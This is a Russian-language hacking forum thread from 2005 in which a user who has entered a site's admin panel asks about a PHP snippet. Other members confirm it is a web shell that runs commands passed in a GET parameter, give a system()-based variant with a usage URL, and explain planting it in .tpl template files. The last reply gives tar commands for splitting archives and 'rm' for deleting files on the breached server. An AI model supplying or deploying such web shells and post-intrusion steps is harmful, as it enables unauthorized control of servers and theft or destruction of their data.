Мини шел Plz

Discussion in 'PHP' started by x_Lex, 20 Jun 2005.

  1. x_Lex

    x_Lex Elder - Старейшина

    Joined:
    8 Jan 2005
    Messages:
    185
    Likes Received:
    118
    Reputations:
    171
    подскажите плиз что это ???
    PHP:
    <?
    $a$_GET['send'];
    $e "$a 2>&1";
    $g= `$e`;
    echo 
    "<pre>".$g."</pre>";
    ?>
    если шел то как его юзать?

    и ещё вопросик, попал в админку но невозможно через неё ничего золить на сервер. есть возможность толко редактирование шаблона фаилы типа *.tpl.
    как правелно вписать код в *.tpl чтоб получить вебшел?
     
  2. madnet

    madnet Умиротворенный

    Joined:
    9 Dec 2004
    Messages:
    868
    Likes Received:
    343
    Reputations:
    423
    Это не шелл
    шелл:
    <?
    $a= $_GET['send'];
    system($a);
    ?>
    Для его выполнения вызывай скрипт с параметром send
    Пример
    index.php?send=ls

    По поводу шаблонов просто пропиши этот скрипт в одном из шаблонов и вызывай его с параметрами нужными тебе.
     
    _________________________
    #2 madnet, 20 Jun 2005
    Last edited: 20 Jun 2005
  3. x_Lex

    x_Lex Elder - Старейшина

    Joined:
    8 Jan 2005
    Messages:
    185
    Likes Received:
    118
    Reputations:
    171
    Пасиб за ответ !
    Но тогда что это за код если ни щел?
     
  4. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    это шелл, причем правильный, а не всякие поделки типа <? $a= $_GET['send']; sytem($a); ?>

    в нем stderr перенаправляется на stdout
     
  5. x_Lex

    x_Lex Elder - Старейшина

    Joined:
    8 Jan 2005
    Messages:
    185
    Likes Received:
    118
    Reputations:
    171
    Пасиб за ответ !
    Но тогда что это за код если ни щел?

    только что тестил то что ты дал
    А как оказалось это действително шел
    PHP:
     <? 
    $a= $_GET['send']; 
    $e = "$a 2>&1"; 
    $g= `$e`; 
    echo "<pre>".$g."</pre>"; 
    ?>
    спасибо что падскозал как его вызвать
     
  6. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    >Fatal error: Call to undefined function sytem() in /htdocs/1/cmd.php on line 3
    system()
    ачипятка
     
  7. madnet

    madnet Умиротворенный

    Joined:
    9 Dec 2004
    Messages:
    868
    Likes Received:
    343
    Reputations:
    423
    Да прошу прощения не досмотрел, это действительно один из вариантов шела.
    ps опечатку исправил
     
    _________________________
  8. x_Lex

    x_Lex Elder - Старейшина

    Joined:
    8 Jan 2005
    Messages:
    185
    Likes Received:
    118
    Reputations:
    171
    0k Всем спасибо !
    но передомной встала ещё 1 задача как заархевировать ТАР-ом пазбив при этом архив на нескольео частеи.
    и ещё какой коммандой стерет файлы с сервака комманда "del" не сработала
     
  9. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    tar --multi-volume --tape-length=NUM_IN_kb -cf archive.tar [FILES]
    rm